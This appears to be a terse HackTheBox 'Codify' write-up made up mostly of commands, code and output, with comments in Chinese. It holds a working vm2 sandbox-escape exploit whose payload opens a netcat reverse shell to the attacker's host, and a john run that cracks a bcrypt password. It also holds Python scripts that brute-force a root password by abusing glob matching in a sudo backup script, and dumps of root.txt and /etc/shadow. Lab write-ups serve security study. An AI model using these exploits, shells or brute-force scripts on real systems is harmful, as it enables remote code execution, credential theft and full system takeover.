HTB-Codify（Easy）

┌──(kali㉿kali)-[~/Desktop/htb/codify]└─$ sudo nmap -sT --min-rate 10000 -p- 10.10.11.239Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-06 05:55 ESTWarning: 10.10.11.239 giving up on port because retransmission cap hit (10).Nmap scan report for codify.htb (10.10.11.239)Host is up (0.25s latency).Not shown: 52543 filtered tcp ports (no-response), 12990 closed tcp ports (conn-refused)PORT   STATE SERVICE22/tcp open  ssh80/tcp open  http
Nmap done: 1 IP address (1 host up) scanned in 159.42 seconds
#nmap -sC -sV -T5 -Pn 10.10.11.239nmap -sC -sV 10.10.11.239

const {VM} = require("vm2");const vm = new VM();
const code = `err = {};const handler = {    getPrototypeOf(target) {        (function stack() {            new Error().stack;            stack();        })();    }};  const proxiedErr = new Proxy(err, handler);try {    throw proxiedErr;} catch ({constructor: c}) {    c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.21 8888>/tmp/f');}`
console.log(vm.run(code));

┌──(root㉿kali)-[/home/kali/Desktop/htb/codify]└─# john -w:/usr/share/wordlists/rockyou.txt hashCreated directory: /root/.johnUsing default input encoding: UTF-8Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])Cost 1 (iteration count) is 4096 for all loaded hashesWill run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusspongebob1       (joshua)     1g 0:00:00:34 DONE (2023-11-06 06:46) 0.02865g/s 39.19p/s 39.19c/s 39.19C/s crazy1..angel123Use the "--show" option to display all of the cracked passwords reliablySession completed.

#!/bin/bash# 设置 MySQL 数据库的用户名DB_USER="root"
# 从文件中读取 MySQL 数据库密码DB_PASS=$(/usr/bin/cat /root/.creds)
# 指定备份目录BACKUP_DIR="/var/backups/mysql"
# 提示用户输入 MySQL 用户（root）的密码read -s -p "Enter MySQL password for $DB_USER: " USER_PASS/usr/bin/echo
# 检查用户输入的密码是否与存储的密码匹配if [[ $DB_PASS == $USER_PASS ]]; then        /usr/bin/echo "Password confirmed!"else        /usr/bin/echo "Password confirmation failed!"        exit 1fi
# 创建备份目录（如果不存在）/usr/bin/mkdir -p "$BACKUP_DIR"
# 获取所有数据库的列表，排除系统数据库databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
# 遍历每个数据库并执行备份操作for db in $databases; do    /usr/bin/echo "Backing up database: $db"        # 使用 mysqldump 命令备份数据库，然后使用 gzip 压缩    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"done
# 备份完成后输出成功信息/usr/bin/echo "All databases backed up successfully!"
# 更改备份目录的权限，将所有者改为 root，组改为 sys-adm/usr/bin/echo "Changing the permissions"/usr/bin/chown root:sys-adm "$BACKUP_DIR"
# 更改备份目录及其内容的权限，使其可读写/usr/bin/chmod 774 -R "$BACKUP_DIR"
# 输出完成信息/usr/bin/echo 'Done!'

import osimport string
charset = string.printableresfult = ""
def get(i):    temp_hash = os.popen(f"echo '{i}'* | sudo /opt/scripts/mysql-backup.sh").read().split("n")[1]    return temp_hash == 'Password confirmed!'
def find_char():    for i in charset:        test_data = resfult + i        if get(test_data):            return i    return None
while True:    new_char = find_char()    print(f"pass: {resfult + new_char}")    if not new_char:        break    else:        resfult += new_char

echo "*" |sudo /opt/scripts/mysql-backup.sh

import stringimport subprocess
# 创建包含大写字母、小写字母和数字的字符集all = list(string.ascii_letters + string.digits)
# 初始化密码为空字符串password = ""
# 初始化标志 found 为 False，表示尚未找到正确的密码found = False
# 进入循环，直到找到正确的密码while not found:    for character in all:        # 构建命令，每次尝试将密码与字符集中的字符连接        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"                # 运行命令并捕获标准输出        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        # 检查输出是否包含 "Password confirmed!"，表示密码尝试成功        if "Password confirmed!" in output:            # 将字符添加到密码中            password += character                        # 输出当前已知的密码            print(password)                        # 找到密码后，退出当前循环，继续下一轮            break    else:        # 如果字符集中的所有字符都尝试过，说明密码没有找到        found = True
# 循环结束后，如果 found 仍然为 False，表示密码未找到

root@codify:/home/joshua# cat /root/root.txt090a94e632795bb528562f45d50c914eroot@codify:/home/joshua# cat /etc/shadowroot:$y$j9T$BBviiq1eNRUe8DLwu.mU61$WSfwzensYi9zIITP5VaFmA6wmTOza/5hbDf0jvo1ZS0:19507:0:99999:7:::daemon:*:19213:0:99999:7:::bin:*:19213:0:99999:7:::sys:*:19213:0:99999:7:::sync:*:19213:0:99999:7:::games:*:19213:0:99999:7:::man:*:19213:0:99999:7:::lp:*:19213:0:99999:7:::mail:*:19213:0:99999:7:::news:*:19213:0:99999:7:::uucp:*:19213:0:99999:7:::proxy:*:19213:0:99999:7:::www-data:*:19213:0:99999:7:::backup:*:19213:0:99999:7:::list:*:19213:0:99999:7:::irc:*:19213:0:99999:7:::gnats:*:19213:0:99999:7:::nobody:*:19213:0:99999:7:::_apt:*:19213:0:99999:7:::systemd-network:*:19213:0:99999:7:::systemd-resolve:*:19213:0:99999:7:::messagebus:*:19213:0:99999:7:::systemd-timesync:*:19213:0:99999:7:::pollinate:*:19213:0:99999:7:::sshd:*:19213:0:99999:7:::syslog:*:19213:0:99999:7:::uuidd:*:19213:0:99999:7:::tcpdump:*:19213:0:99999:7:::tss:*:19213:0:99999:7:::landscape:*:19213:0:99999:7:::usbmux:*:19374:0:99999:7:::lxd:!:19374::::::dnsmasq:*:19459:0:99999:7:::joshua:$y$j9T$u5RmR.i3n0eWNlz3TzNwW1$70opNAIyjWmEs5kR5suhb9xTavS294cdqpt3jB2T.H6:19507:0:99999:7:::svc:$y$j9T$g22oO8nqTahqa94dBOVRu1$2xgi2cpPO/EWoP4EMFxhhLBwpCWASWaZTap9YtxqkV.:19612:0:99999:7:::fwupd-refresh:*:19626:0:99999:7:::_laurel:!:19626::::::